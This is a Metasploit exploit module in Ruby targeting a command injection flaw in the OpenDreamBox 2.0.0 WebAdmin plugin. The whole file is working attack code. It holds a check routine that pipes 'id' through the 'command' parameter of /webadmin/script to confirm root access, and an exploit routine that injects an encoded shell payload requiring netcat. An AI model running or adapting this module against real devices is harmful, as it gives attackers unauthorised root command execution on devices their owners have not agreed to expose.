MSF Module. OpenDreamBox 2.0.0 Plugin WebAdmin - Remote Code Execution

opendreambox_webadmin_rce.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'OpenDreamBox 2.0.0 - Plugin WebAdmin RCE',
      'Description'   => %q{Remote Command Execution via Command injection in Plugin WebAdmin.},
      'Author'        => 
        [ 
          'Jonatas Fil <ctfninj4[at]gmail.com>', # Discovery, PoC
          'Daniel Diez <danihzt[at]gmail.com>' # Metasploit module
        ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'URL', 'https://www.dreamboxupdate.com' ],
          [ 'URL', 'https://www.exploit-db.com/exploits/42293/']
        ],
      'Platform'     => %w{ linux unix },
      'Arch'         => ARCH_CMD,
      'Privileged'   => true,
      'Payload'      =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'netcat generic'
            }
        },
      'Targets'      =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jul 03 2017'
    ))
  end

  def check
    begin
      res = send_request_cgi(
        {
          'uri'    => normalize_uri("webadmin", "script"),
          'method' => 'GET',
          'vars_get' => {
            "command" => "| id"
          }
        })
      if res && res.body
        if /uid=0\(root\) gid=0\(root\)/ =~ res.body
          Exploit::CheckCode::Vulnerable
        else
          Exploit::CheckCode::Safe
        end
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def exploit
    print_status("#{rhost}:#{rport} - Sending remote command.")
    begin
      send_request_cgi(
        {
          'uri'    => normalize_uri("webadmin", "script"),
          'method' => 'GET',
          'vars_get' => {
            "command" => "| #{payload.encoded}"
          }
        })

    rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
      fail_with(Failure::Unreachable, "#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
    end
  end
end